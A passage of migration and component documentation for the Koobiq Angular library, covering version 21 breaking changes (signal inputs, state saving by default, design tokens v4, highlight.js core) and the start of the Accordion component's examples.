The bar still ships no landmark role: the same markup is a page header in one place and a panel header in another, and a page may expose only one `banner`. Add `role="banner"` where it is the page header, and `aria-label` — now a documented input — wherever a page renders more than one bar.

Rewritten and reported by `top-bar-container-selectors`.

##### Tree

The tree moved its inputs and its query members to signals. Six members that used to be writable are getters now — over a `computed()`, over an `InputSignal`, or over an `asObservable()` view of a `Subject`.

**An unmigrated write does not merely stop compiling.** Assigning to a getter-only property throws `TypeError: Cannot set property … which has only a getter` in strict mode, and an ES module is always strict, so it throws at runtime in any build that skips type checking.

| Member                                     | Was                            | Is                                     |
| ------------------------------------------ | ------------------------------ | -------------------------------------- |
| `KbqTreeNodeToggle.disabled`               | `@Input()` accessor pair       | getter over a `computed()`             |
| `KbqTreeBase.nodeDefs`                     | `QueryList<KbqTreeNodeDef<T>>` | `Signal<readonly KbqTreeNodeDef<T>[]>` |
| `KbqTreeNodePadding.indent`                | accessor pair                  | `InputSignal<number \| string>`        |
| `KbqTreeNodePadding.indentUnits`           | writable field                 | getter derived from `indent`           |
| `KbqTreeNodeToggleBaseDirective.recursive` | accessor pair                  | `InputSignalWithTransform<boolean, …>` |
| `KbqTreeOption.onFocus` / `onBlur`         | `Subject<KbqTreeOptionEvent>`  | `Observable<KbqTreeOptionEvent>`       |

| Pattern                                           | Manual migration                                                                   |
| ------------------------------------------------- | ---------------------------------------------------------------------------------- |
| `<toggle>.disabled = …`                           | Bind the `disabled` attribute; it still reaches the toggle through `disabledInput` |
| `<toggle>.recursive`                              | Read `recursive()`; bind `kbqTreeNodeToggleRecursive`                              |
| `nodeDefs.changes` / `.length` / `.toArray()` / … | Read `nodeDefs()`; replace the subscription with an `effect`                       |
| `<padding>.indent` / `.indentUnits`               | Read `indent()`; bind `kbqTreeNodePaddingIndent`                                   |
| `<option>.onFocus.next(…)` / `onBlur.next(…)`     | Subscribe instead — the option emits on both streams itself                        |

Two of the six are silent rather than loud. `KbqTreeBase` is exported and is the documented extension point for a custom tree: a subclass reading `this.nodeDefs.length` now gets `0` — the arity of the signal function — instead of the number of node definitions, and `this.nodeDefs.changes.subscribe(…)` throws. And `KbqTreeNodeToggle` kept `disabled` as the input alias (the input itself is declared as `disabledInput`), so every template binding keeps working and only imperative writes break.

The inputs of `KbqTreeSelection` and `KbqTreeOption` followed: `treeControl`, `dataSource`, `disabled`, `tabIndex` and `selectAllHandler` of the tree, `disabled` and `showCheckbox` of the option are signal inputs read through a getter. A read is unchanged, a programmatic write no longer compiles: bind them. `multiple` is an input now too, and its getter never had a setter: set the selection mode through `multipleMode`, which stays writable. `autoSelect`, `noUnselectLast`, `typeAhead` and `selectAll` stay writable, since `KbqTreeSelect` writes them.

A `[dataSource]` bound back to `undefined` clears the tree as `null` does, and `dataSource` reports `null` rather than `undefined` while no source is set.

`KbqTreeSelection`, `KbqTreeOption` and `KbqTreeSelect` take the type of the data node, `T`, `any` by default. `selectionModel` is `SelectionModel<T>` instead of a model over an unexported interface that did not describe the nodes it holds, and `KbqTreeOption.data` is the node rather than the option type it was declared with. A template infers `T` of the tree from `[treeControl]`, `[dataSource]`, `[trackBy]` and `[selectAllHandler]`, so with `strictTemplates` a tree whose bindings name different node types no longer compiles: give them the same type. A query names it: `viewChild.required<KbqTreeSelection<Node>>(KbqTreeSelection)`.

Reported by `tree-signals`. A project that renders a tree at all also gets a summary of all six members, because five of them are only visible at a call site that writes them — a consumer that merely reads one gets a value whose type changed under it and no diagnostic at all.

##### Tree select

The review typed the surface and dropped the members that only existed to feed the template.

| Member                                                                                          | Before            | After                       |
| ----------------------------------------------------------------------------------------------- | ----------------- | --------------------------- |
| `valueChange`                                                                                   | declared output   | removed                     |
| `getPanelClasses()`, `getPanelTheme()`, `isRtl()`, `transformOrigin`                            | public            | removed                     |
| `hiddenItemsText`, `hiddenItemsTextFormatter`                                                   | accessor / method | signal inputs               |
| `hiddenItems`, `colorForState`                                                                  | plain members     | `WritableSignal` / `Signal` |
| `options`, `tags`, `overlayDir`, `triggerRect`, `panelDoneAnimatingStream`, `changeDetectorRef` | public            | `protected`                 |
| `KbqTreeSelectChange`                                                                           | `value: any`      | generic, typed `value`      |

`valueChange` deserves a note. It was declared and documented as the other half of a two-way binding on a `value` input that does not exist, and nothing ever emitted it — so `(valueChange)` never fired. Removing it changes nothing at runtime either: Angular treats an unmatched `(x)` as a DOM event listener, which stays just as silent.

| Pattern                                                                     | Manual migration                                                      |
| --------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| `valueChange`                                                               | Listen to `(selectionChange)`                                         |
| `.getPanelClasses()` / `.getPanelTheme()` / `.isRtl()` / `.transformOrigin` | Bind `[panelClass]` if the panel needs styling                        |
| `.hiddenItemsText = …` and friends                                          | Bind the input — a signal member takes no assignment                  |
| `.hiddenItemsText` and friends                                              | Read them as calls                                                    |
| `.options` / `.tags` / `.overlayDir` / …                                    | Protected; use the open/close API, the inputs and `(selectionChange)` |

`KbqTreeSelectChange` is generic and its `value` is no longer `any`, so a handler that relied on the implicit widening needs the type argument.

Three fixes with nothing to migrate: the embedded tree is set up through `KbqTreeSelection.initializeForEmbedding()` instead of a second manual `ngAfterContentInit()`, which used to leave duplicate subscriptions on query lists that are never re-created — so every options change was handled several times, on the search-filtering hot path; the dead `{ provide: KbqTree, useExisting: KbqTreeSelect }` provider is gone, since `KbqTreeSelect` never satisfied `KbqTree` structurally and anything injecting `KbqTree` from inside a tree-select was getting an object that only looked right; and the component renders a host `id` and carries combobox ARIA, so the form field label's `[attr.for]` resolves instead of dangling.

`hasBackdrop` and `searchMinOptionsThreshold` are signals like on `KbqSelect`, and `multiple`, `autoSelect`, `tabIndex` and `selectAllHandler` are signal inputs read through a getter. None of them can be assigned any more: bind them in the template.

**A `multiple` value is ordered by the panel now.** `sortValues()` compared the selected data nodes against the rendered options, so it never matched anything and the selection kept the order the values were written in. The default is now each node's place in the tree, collapsed branches included; a node missing from the data sorts last. The order shows in `value()` and in the trigger tags. `[sortComparator]` gets what it always received — two selected data nodes — and its third argument is now every data node of the tree in panel order (`treeControl.dataNodes`) instead of the rendered `KbqTreeOption[]`, as `KbqTreeSelectSortComparator<T>` types it. A comparator typed with `KbqTreeOption` has to take your node type instead; `() => 0` keeps the write order.

Three more fixes with nothing to migrate: a value the form writes before the tree data arrives (over HTTP, say) is applied once the nodes arrive, in `KbqTreeSelect` and in `KbqTreeSelection` alike, until the user changes the selection; replacing `dataSource.data` with equal new nodes no longer marks the control dirty or emits `valueChanges` and `(selectionChange)`; and a node value of `0` or `''` is selected instead of clearing the selection.

Reported by `tree-select-signals`.

##### Username

Both pipes carried `@Injectable({ providedIn: 'root' })` on top of `@Pipe`, which gave them two instantiation paths with two different injectors. In a template a pipe resolves `KBQ_PROFILE_MAPPING` at the node injector, so a component- or route-level provider applies; obtained with `inject(KbqUsernamePipe)` — the pattern both guides recommended for search — it was the root singleton, and the scoped mapping was invisible. The same class formatted the same profile two different ways depending on how you got hold of it.

`providedIn: 'root'` is gone. Templates are unaffected; only DI call sites break.

| Pattern                                                 | Manual migration                                                         |
| ------------------------------------------------------- | ------------------------------------------------------------------------ |
| `inject(KbqUsernamePipe).transform(user)`               | `kbqInjectUsernameFormatter()`, then `formatUsername(user)`              |
| `inject(KbqUsernameCustomPipe).transform(user, format)` | `kbqFormatUsernameCustom(user, format, inject(KBQ_PROFILE_MAPPING))`     |
| `constructor(private pipe: KbqUsernamePipe)`            | `private readonly formatUsername = kbqInjectUsernameFormatter()`         |
| `KbqMappingMissingError`                                | Removed; both pipes fall back to the exported `kbqDefaultProfileMapping` |

`kbqInjectUsernameFormatter()` runs in an injection context and resolves the mapping where _you_ call it, which is what makes its string match the one `kbq-username` renders next to it.

Two rendering changes need no migration but do change output. `kbq-username` used to require **both** `firstName` and `lastName` before it would render a name, so `{ lastName: 'Root', login: 'mroot' }` rendered the login alone and `{ firstName: 'Maxwell', middleName: 'Alan' }` rendered an empty element; it now renders whatever name fields the profile carries. And the shipped `KBQ_PROFILE_MAPPING` maps the uppercase keys `F` / `M` / `L` as well, so `{{ user | kbqUsernameCustom }}` with the library's own default format renders the surname instead of a literal capital `L` — spread `kbqDefaultProfileMapping` to pick those keys up in a mapping of your own.

The rest have nothing to migrate: `KbqUsernameSecondaryHint` is exported by `KbqUsernameModule` (it was used by the component's own template but missing from the module, so inside a `<kbq-username-custom-view>` it silently did not apply); the secondary color no longer hangs off an adjacent-sibling selector, so a login with no name in front of it renders in the secondary color; initials are taken by code point, so a name starting outside the BMP no longer abbreviates to a lone surrogate; `kbq-title` is not attached in `mode="text"`, which applies no ellipsis for it to detect; and the site hint carries a visually hidden label from the new `username.siteLabel` locale key.

Reported by `username-pipe-injection`.

#### File-upload deprecated output removal (21.0.0)

The `fileQueueChanged` output on multi-file upload (`kbq-multiple-file-upload`) and `fileQueueChange` on
single-file upload (`kbq-single-file-upload`) are removed. Use `filesChange` and `fileChange` instead — they
fire at the same time, with the same value, so this is a rename, not a behavior change.

##### Running the migration

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:file-upload-deprecated-outputs --project "<your project>"
```

##### What is fixed automatically

Every `(fileQueueChanged)` and `(fileQueueChange)` binding is renamed to `(filesChange)` / `(fileChange)`,
in templates and in TypeScript code (for example `.fileQueueChanged.subscribe(...)` becomes
`.filesChange.subscribe(...)`). The rewrite is textual, not scoped to Koobiq component usage — it also
matches an unrelated string, attribute value or identifier of your own that happens to carry the same name,
so review the diff before committing.

#### Accordion state store moved to core (21.0.0)

Accordion state saving is now built on a store shared by the whole library, so other components can persist
their state through the same token. The accordion-specific store API is removed:

| Removed                              | Use instead                          |
| ------------------------------------ | ------------------------------------ |
| `KBQ_ACCORDION_STATE_STORE`          | `KBQ_STATE_STORE`                    |
| `KbqAccordionStateStore`             | `KbqStateStore`                      |
| `KbqAccordionLocalStorageStateStore` | `KbqLocalStorageStateStore`          |
| `KbqAccordionItemSnapshot`           | removed with the format it described |

The replacements are imported from `@koobiq/components/core`. Providing `KBQ_STATE_STORE` in the accordion's own
`providers` scopes the replacement to that accordion, the way the accordion-specific token used to.

A custom store now moves opaque payloads: `getState()` returns `unknown` instead of a typed state, and each
component normalizes what it reads. If you implemented `KbqAccordionStateStore`, widen the signatures and
drop the accordion-specific typing:

```ts
// Before
getState(key: string): KbqAccordionState | null;
setState(key: string, state: KbqAccordionState): void;

// After
getState(key: string): unknown;
setState(key: string, state: unknown): void;
removeState(key: string): void;
```

`removeState` is new and required — the store has a real delete path now, which is what `clearSavedState()`
on the accordion calls.

`KbqAccordion.saveItemState()` and `KbqAccordionItem.getState()` are gone as well: the accordion persists a
whole snapshot through `saveState()`. `KbqAccordionState` is now the list of expanded item values
(`string[]`) rather than a map of item id to snapshot. State persisted in the previous format is migrated
while reading, so users do not lose the sections they had expanded.

There is no migration schematic for the store move itself: it changes store implementations and DI
providers, not templates. The default flip that shipped alongside it is covered by
`accordion-state-saving-default` — see the next section.

#### Accordion state saving on by default (21.0.0)

`KbqAccordion.useStateSaving` defaults to `true`. An accordion nobody configured now remembers which
sections the user left open and restores them on the next render. Pass `[useStateSaving]="false"` where
the initial state belongs to the application.

The default is only defensible because the key no longer depends on instantiation order. When
`stateSavingKey` is empty the key comes from where the accordion sits in the document — the chain of tag
names up to `<body>`, cut short by the first `id` on the way, which becomes the anchor:

```
app-root/main/kbq-accordion
app-root/main/kbq-accordion:1
#settings-panel/div/kbq-accordion
#faq
```

So everything above an `id` can be restructured without moving the key, and an author pins the key with an
`id` as well as with `stateSavingKey`. Restructuring below the anchor does move it, and what was saved
under the previous key is left behind until it expires. Replace the strategy through
`KBQ_STATE_SAVING_KEY_RESOLVER` to derive the key from something the DOM does not know about, such as the
current route.

What else changes with the default:

- **`defaultValue` applies to the first visit only.** From the second one on, the persisted state wins —
  including when the user collapsed every section.
- **A section with no `[value]` is persisted by position.** `KbqAccordionItem.value` falls back to the
  item's position inside its accordion instead of its id, because the id carries a global instantiation
  counter that shifts as soon as anything else on the page is created ahead of the accordion. Give sections
  an explicit `[value]` when the set of sections can change, and wherever `valueChange` payloads are
  compared.
- **The two inputs live on a host directive.** `useStateSaving` and `stateSavingKey` belong to
  `KbqStateSaving`, applied through `hostDirectives`, which is how any component — ours or yours — adds
  persistence now. Templates are unaffected; programmatic access to them on `KbqAccordion` is not.
- **The dev-mode warning about a missing `stateSavingKey` is gone.** An accordion nobody configured is the
  ordinary case now. A warning is still logged when no key can be derived at all — a host that is not in
  the document when it reads.

Storage format:

- Entries are written under a `kbq.state.` prefix, so one cannot collide with a key the application owns.
- Every entry carries the time it was written. One that goes `KBQ_STATE_SAVING_TTL` (90 days by default)
  without being written or read is collected the next time a store is constructed, which is what keeps keys
  stranded by a restructuring from accumulating. Reading refreshes the entry, so state that is visited but
  never changed does not expire under an active user.
- An entry written by 20.2.0 under the bare, unprefixed key is still read, so an upgrade does not reset
  what users had. It is never rewritten or removed — an unprefixed key is not necessarily ours, and an
  application storing its own `settings` must not lose it to a component keyed `stateSavingKey="settings"`.
  The first save moves the state under the prefix. This bridge is removed in 22.0.0.

The `accordion-state-saving-default` schematic reports every consumer the default reaches. It is
warn-only: the markup whose behavior changed is exactly the markup that says nothing about the input, and
opting every accordion out would withhold the feature this release ships.

#### Tree state saving on by default (21.0.0)

`kbq-tree-selection` and `kbq-tree` persist their expanded nodes, and `useStateSaving` defaults to `true`.
A tree nobody configured now comes back with the branches the user left open. Pass
`[useStateSaving]="false"` where the initial state belongs to the application.

This is the same `KbqStateSaving` host directive the accordion applies, so the two inputs, the storage
key, the `kbq.state.` prefix and the TTL all behave exactly as described in the previous section.

**Selection is not persisted.** It belongs to the form control the tree is bound to, and restoring it
from storage would overwrite the value the application supplied. Only expansion is stored.

What to check in your own code:

- **`getValue` is now the persistence key.** Expansion is stored by the value the tree control returns
  for a node — the third argument of the `FlatTreeControl` constructor, and the same identity the tree
  already uses for selection. It must be a string, stable across reloads, and unique within the tree; a
  node object is re-created whenever the data is replaced, so it cannot serve as the key. Where two
  nodes share a value, the first of them is expanded, matching what selection does with a duplicate.
- **A tree on a `NestedTreeControl` persists nothing.** That control has no `getValue` at all. A
  dev-mode warning is logged once; unset `useStateSaving` on that tree to silence it.
- **Expansion the application performs itself is not persisted on its own.** `treeControl.expandAll()`,
  `collapseAll()` and direct writes to `expansionModel` are not user actions; call `saveState()` on the
  tree afterwards to record them. The next expansion a user performs persists the whole resulting state
  anyway.

What needs no attention:

- **Nodes that arrive late are waited for.** A value whose node is not loaded yet is applied as soon as
  it appears, so a lazily loaded tree is restored as its branches load. Until then the value is kept, so
  persisting a change made in the meantime does not drop the branches still loading.
- **Nothing is persisted while a search filter is active.** `filterNodes()` rewrites the expansion set to
  every expandable node that matched and puts the real one back afterwards, so what is expanded during a
  search is a view of the results rather than a state.
- **A tree rendered inside an overlay does not persist.** `kbq-tree-select` renders one into its panel,
  where the tree is not in the document when it initializes and so has no stable key — and a select
  panel's expansion is transient anyway. Nothing changes for `kbq-tree-select` consumers.

One thing that is easy to miss: several trees sharing one `treeControl` share one expansion model while
persisting under a key each. The last one to initialize decides what is restored, and only the tree the
user acts on records the change — the others keep whatever was already stored under their own keys. Give
them a control apiece, or unset `useStateSaving` on all but one.

New on the tree: `saveState()`, `clearSavedState()` and `hasSavedState`, alongside the `useStateSaving`
and `stateSavingKey` inputs the host directive forwards.

The `tree-state-saving-default` schematic reports every consumer the default reaches, the tree controls
whose `getValue` is worth a second look, and the programmatic expansion that is no longer recorded on its
own. It is warn-only, for the same reason as the accordion's.

#### Tabs, sidebar and content-panel state saving on by default (21.0.0)

`kbq-tab-group`, `kbq-sidebar` and `kbq-content-panel-container` persist the state a user changes, and
`useStateSaving` defaults to `true` on all three. This is the same `KbqStateSaving` host directive the
accordion and the tree apply, so the two inputs, the storage key, the `kbq.state.` prefix and the TTL all
behave exactly as described in the previous sections.

Each of them stays out of the store while the application drives the state, so the change only reaches
markup that says nothing about it:

| Component                     | Remembers                                                | Stays out of it while                   |
| ----------------------------- | -------------------------------------------------------- | --------------------------------------- |
| `kbq-tab-group`               | the selected tab, by `tabId` and by position             | `selectedIndex` or `activeTab` is bound |
| `kbq-sidebar`                 | whether it was open, and the width it was last closed at | `opened` is bound                       |
| `kbq-content-panel-container` | whether it was open, and the dragged width               | `opened` is bound                       |

Pass `[useStateSaving]="false"` anywhere the initial state belongs to the application for another reason.

What to check in your own code:

- **Give tabs a `tabId`.** The selection is stored by id and by position, and only the id survives the
  tabs being reordered — without one the position restores a different tab, and a dev-mode warning says
  so. Where the saved id no longer names a tab the position is used, and where neither matches nothing
  is restored.
- **`KbqContentPanelContainer.opened` is now `openedInput`.** It reads `undefined` rather than `false`
  while nothing binds it, which is how the panel tells a bound `opened` from an unbound one. Markup is
  unaffected — `<kbq-content-panel-container [opened]="true">` binds it exactly as before — but reading
  it off the component no longer compiles. `isOpened()` is the public read and always was.
- **The content panel's width is restored even when `[opened]` is bound.** There is no `widthChange`
  output, so a drag never reached the application and `[width]` is the width the panel starts at rather
  than the width it has. Double-clicking the resizer restores that declared width, and the reset is
  persisted too.

What needs no attention:

- **`kbq-tab-nav-bar` never persists.** It is the navigation variant, where the router decides which
  link is active; the URL is the state worth restoring there.
- **A component rendered inside an overlay does not persist.** It is not in the document when it
  initializes and so has no stable key.
- **The sidebar's width is the one it had when last closed** — the same width it already reuses when
  reopening, so nothing changes for a sidebar the user never resizes.

New on all three: `saveState()`, `clearSavedState()` and `hasSavedState`, alongside the `useStateSaving`
and `stateSavingKey` inputs the host directive forwards.

Two components asked for at the same time were handled separately. **`kbq-sidepanel`** has nothing a user
changes inside it — its width is a preset and its position is chosen by the caller at `open()` time — and
it cannot restore itself, because it exists only while it is open. What it does have is a flag worth
keeping, so `KbqSidepanelService` remembers whether a panel was open and the application reopens it; give
the panel a `stateSavingKey` to opt in. **`kbq-filter-bar`** follows in the next section, and resolves the
other concern rather than dodging it: the filter being a two-way `model()` is exactly what lets a restore
reach the application.

The `state-saving-default` schematic reports every consumer the default reaches, the tabs whose selection
would fall back to a position, and the reads of `opened` that no longer compile. It is warn-only, for the
same reason as the accordion's and the tree's.

#### Filter-bar state saving on by default (21.0.0)

`kbq-filter-bar` remembers which filter is selected and the edits made to it, and `useStateSaving`
defaults to `true`. This is the same `KbqStateSaving` host directive the components above apply, so the
two inputs, the storage key, the `kbq.state.` prefix and the TTL behave exactly as described there.

**One thing works differently here.** The components above leave a controlled input alone — a sidebar
with a bound `opened` persists nothing at all. The filter bar restores over the value a `[filter]`
binding supplied at initialization, because `filter` is a `model()`: the restore writes through it,
`filterChange` fires, and the application loads data for the restored filter exactly as it would for one
the user had just picked. Only a change made after that wins.

So the binding is not an opt-out. Pass `[useStateSaving]="false"` for a bar whose filter the application
owns entirely.

What to check in your own code:

- **The first fetch may be for a different filter than before.** Whatever `(filterChange)` already does
  is what runs — but it now runs once at startup, with the restored filter, before the user has touched
  anything. A `[filter]` binding that used to decide the initial dataset no longer does.
- **Project the pipes from the filter the bar reports.** Restoring replaces the filter object and every
  pipe in it with fresh copies, the same way picking a filter from `<kbq-filters>` already does. Bind
  `[(filter)]`, or assign what `(filterChange)` hands you. A pipe projected from an array the bar no
  longer holds is not the one in `filter`: editing it does not reach the persisted state, and its remove
  button stops working.
- **A filter is identified by its `name`.** `KbqFilter` has no id, so renaming a saved filter loses what
  was stored for it, and a name that is no longer in `filters` restores nothing. A list loaded from a
  server is waited for: the restore applies as soon as the named filter appears, and is abandoned as
  soon as anything else changes the filter.
- **Keep `compareWith` in step.** Restored values come back as new objects, never the option instances
  in `pipeTemplates`, so a pipe whose options are compared by reference will not match one. The default
  comparator is id-based, which is why the built-in pipes need nothing.

What needs no attention:

- **Only a projection of each pipe is stored** — its `id` (or its `name` when it has none) and its
  value. Everything else is rebuilt from `filters` and `pipeTemplates` while restoring, because a pipe
  built from a template keeps that template's `compareWith` and date bounds, and those do not survive
  being written to storage. A pipe whose template is gone is left out.
- **Saving filters is untouched.** The `<kbq-filters>` save flow, `KbqSaveFilterEvent` and
  `filterSavedSuccessfully()` are the application storing a named filter; this is the bar remembering,
  on one device, which of them was in use.
- **`saveFilterState()` and `restoreFilterState()` are unrelated** and unchanged. They snapshot the
  filter in memory within one session. `clearSavedState()` and `hasSavedState` are the members that
  reach what is persisted; there is no `saveState()` on the bar, because it writes on every change by
  itself.

The `filter-bar-state-saving-default` schematic reports every consumer the default reaches, the `[filter]`
bindings a restore now overrides, and the places where filter identity and `compareWith` matter. It is
warn-only, for the same reason as the ones above.

#### Tag list cleaner clears by itself (21.0.0)

Until 21.0.0 a `<kbq-cleaner>` projected into a `<kbq-tag-list>` did nothing on its own: the list
suppressed the built-in clearing and the removal was the job of a `(click)` handler you wrote. The
cleaner now removes the tags itself and leaves the disabled ones in place, so that handler is no longer
needed. It removes them through the same `removed` output as the remove control inside a tag, which means
the wiring that control already needs is all it takes.

```html
<kbq-tag-list>
    <kbq-tag [value]="tag" (removed)="removed($event)">{{ tag }}</kbq-tag>

    <kbq-cleaner />
</kbq-tag-list>
```

A handler left on the cleaner runs **in addition** to the built-in clearing and cannot suppress it — the
component's own host listener runs first — so it has to go.

To clear the disabled tags as well, bind a predicate that accepts them. A template cannot hold an inline
arrow function, so it has to be a field:

```ts
readonly clearEverything = (_tag: KbqTag) => true;
```

```html
<kbq-tag-list [clearPredicate]="clearEverything">...</kbq-tag-list>
```

A list written as `removable="false"` offers no removal at all, so it no longer shows a reset control.

##### Running the migration

The `tag-list-cleaner` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually — for example, if you have already upgraded to 21.0.0:

```bash
ng g @koobiq/components:tag-list-cleaner --project "<your project>"
```

To preview the changes without writing them, use `--fix=false`:

```bash
ng g @koobiq/components:tag-list-cleaner --project "<your project>" --fix=false
```

##### What is fixed automatically

The `(click)` handler is removed from every `<kbq-cleaner>` projected into a `<kbq-tag-list>`, in both
`.html` files and inline templates. Cleaners outside a tag list are untouched. The expression that was
removed is printed for every file, because a handler may have done more than clear the tags.

##### What you need to fix manually

- **Anything the handler did besides clearing.** Put that part back in another binding; the log names the
  expression that was taken out.
- **A list nothing listens to.** If no tag in the list reports `removed`, the built-in clearing reaches
  nothing. The schematic keeps the handler and says so — add the `(removed)` binding, then drop it.
- **A `removable="false"` list.** Its reset control is gone. The schematic keeps the handler and says so.
- **A disabled tag no longer renders `kbqTagRemove`.** This one has no schematic: the control is hidden
  and the `Delete` key already refused, so nothing about the removal protocol changed — but a test or a
  stylesheet that expected the icon on a disabled tag needs updating.

#### Design tokens v4 (21.0.0)

`@koobiq/components` now requires `@koobiq/design-tokens` 4, which moved its sources to DTCG format, changed several import paths, and replaced the `--kbq-palette-*` scale with `--kbq-plt-*` and `--kbq-semantic-*` on a 1–20 scale instead of 0–100. Component tokens are gone from the package, except for code-block, scrollbars and skeleton, which v4 ships as opt-in files; nothing to do for those three, since `@koobiq/components`' own `prebuilt-themes/theme.css` already bakes their values in. See `@koobiq/design-tokens`'s own `README.md#breaking-changes-in-v4` for the full list.

##### Running the migration

The `design-tokens-v4` schematic runs automatically:

```bash
ng update @koobiq/components@21
```

Or manually:

```bash
ng g @koobiq/components:design-tokens-v4 --project "<your project>"
```

##### What is fixed automatically

**The `@koobiq/design-tokens` entry in `package.json`** is rewritten to `^4.1.0`, wherever it was declared — `dependencies` or `devDependencies` — and added to `dependencies` when it was declared nowhere (a project can reach the tokens through the library's own peer dependency alone, with npm having installed them and nothing in `package.json` saying so). An install is scheduled afterwards.

##### What you need to fix manually

The rest of the upgrade is in your project's own stylesheets. `@koobiq/design-tokens` ships a codemod for it, so run that instead of rewriting them by hand:

```bash
npx koobiq-tokens-codemod src
```

It rewrites the moved import paths (`web/new/**` → `web/css/**`), the tokens with a one-for-one replacement, and the two removed overlay tokens: `var(--kbq-background-overlay-theme)` and `var(--kbq-background-overlay-error)` become `color-mix(in srgb, var(--kbq-background-overlay-base-…) calc(var(--kbq-opacity-overlay) * 100%), transparent)`. The result is not pixel-identical to v3 — look at your overlays after the rewrite.

- **The old `--kbq-palette-*` scale.** The 0–100 scale has no direct mapping onto the 1–20 one, so by default the codemod only suggests the nearest `--kbq-plt-*` and prints the ΔE. Two flags turn the suggestion into a rewrite: `--fix-palette` (nearest `--kbq-plt-*`, applied only when ΔE ≤ 3; adjust the threshold with `--palette-delta-e`) and `--palette-to-color` (the literal v3 color inlined as the value). Alpha steps and uses with a fallback are never rewritten — replace those by hand.
- **Review code blocks and scrollbars.** These are the only two places v4 changes pixels without being asked; the codemod does not touch them because nothing about their custom properties changed, only the values behind them.
- **`scrollbar/deprecated/scrollbar-tokens.scss` was removed.** Its variables now come from `@koobiq/design-tokens` — drop any deep imports of that file from your own styles.

#### highlight.js core by default (21.1.0)

Without `core` in its configuration, the code block now loads the highlight.js core, `highlight.js/lib/core`, rather than the full bundle with every language, about 1 MB. The library used to hold `import('highlight.js')`, and a bundler emits a chunk for every `import()` it finds, so every application built that chunk, even one whose configuration loaded the core and a few languages.

**The core highlights no language but plain text.** A file whose language is not registered is shown as plain text, with a warning in development mode. Plain text itself needs no entry: the code block registers it, so a file without a language no longer throws `Unknown language: "plaintext"` under a configuration of the core.

Register the languages the files use:

```typescript
providers: [
    kbqCodeBlockHighlightJsConfigProvider({
        languages: {
            typescript: () => import('highlight.js/lib/languages/typescript'),
            html: () => import('highlight.js/lib/languages/xml')
        }
    })
];
```

Or keep every language with the full bundle: `kbqCodeBlockHighlightJsConfigProvider({ core: () => import('highlight.js') })`.

##### Running the migration

`code-block-highlight-js-core` is registered for 21.1.0, so an `ng update` to that version runs it:

```bash
ng g @koobiq/components:code-block-highlight-js-core --project "<your project>"
```

##### What is fixed automatically

The migration keeps the full bundle where the code block loaded it. An application that renders code blocks and has no configuration in its root providers gets `kbqCodeBlockHighlightJsConfigProvider({ core: () => import('highlight.js') })` there, and a configuration written as an object literal without `core` gets `core: () => import('highlight.js')`. Replace either with the languages of your files to drop the 1 MB.

##### What you need to fix manually

- **A configuration the migration cannot read**: a variable, a spread or a factory. It is reported; add `core` to it if it has none.
- **Root providers the migration cannot read**: a bootstrap it cannot analyze, or `providers` that are not an array literal. No root provider is added; the migration reports the project.
- **A configuration the root providers get through a function.** The added root provider overrides it: remove the added one. The migration reports a project that provides a configuration outside its root providers.
- **A library that renders code blocks.** The applications that use it provide the configuration.
- **Specs** get none of the application's providers: add the configuration to the `TestBed` of a spec that checks highlighted markup.

#### After the migration

The migration is regex-based and does not rewrite aliased imports, local variables, or re-exports — **review the diff before committing**, rebuild the project and run your tests. The full lists of breaking changes are on the [Angular 21 breaking changes](https://github.com/koobiq/angular-components/blob/main/docs/guides/angular-21-breaking-changes.en.md) and [Angular 20 breaking changes](https://github.com/koobiq/angular-components/blob/main/docs/guides/angular-20-breaking-changes.en.md) pages.

## Accordion

- Entry point: `@koobiq/components/accordion`
- NgModule: `KbqAccordionModule`
- Page: https://koobiq.io/en/components/accordion/overview

### Overview

An accordion is an interactive UI element that allows users to expand and collapse individual blocks of information on demand, organizing them into compact sections.

**Example: Accordion** (`accordion-overview`)

```ts accordion-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule } from '@koobiq/components/accordion';

@Component({
    selector: 'accordion-overview-example',
    imports: [KbqAccordionModule],
    templateUrl: 'accordion-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionOverviewExample {}
```

```html accordion-overview-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion style="width: 300px">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
                Данный текст используется для иллюстрации внутреннего содержимого секции аккордеона
            </kbq-accordion-content>
        </kbq-accordion-item>
    </kbq-accordion>
</div>
```

#### States

##### Trigger Placement

By default, the trigger is positioned on the left side. If needed, it can be placed in the left part of the section header after the title or on the right side of the section header.

**Example: Accordion states** (`accordion-states`)

```ts accordion-states-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqAccordionModule, KbqAccordionVariant } from '@koobiq/components/accordion';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';

@Component({
    selector: 'accordion-states-example',
    imports: [KbqAccordionModule, KbqButtonToggleModule],
    templateUrl: 'accordion-states-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class AccordionStatesExample {
    readonly accordionVariant: Record<'fill' | 'hug' | 'hugSpaceBetween', KbqAccordionVariant> = {
        fill: 'fill',
        hug: 'hug',
        hugSpaceBetween: 'hugSpaceBetween'
    };
}
```

```html accordion-states-example.html
<div class="layout-column layout-fill layout-align-center-center docs-example-vertical-margin">
    <kbq-accordion style="width: 300px" [variant]="group1.value">
        <kbq-accordion-item>
            <button kbq-accordion-trigger type="button">Text</button>
            <kbq-accordion-content>
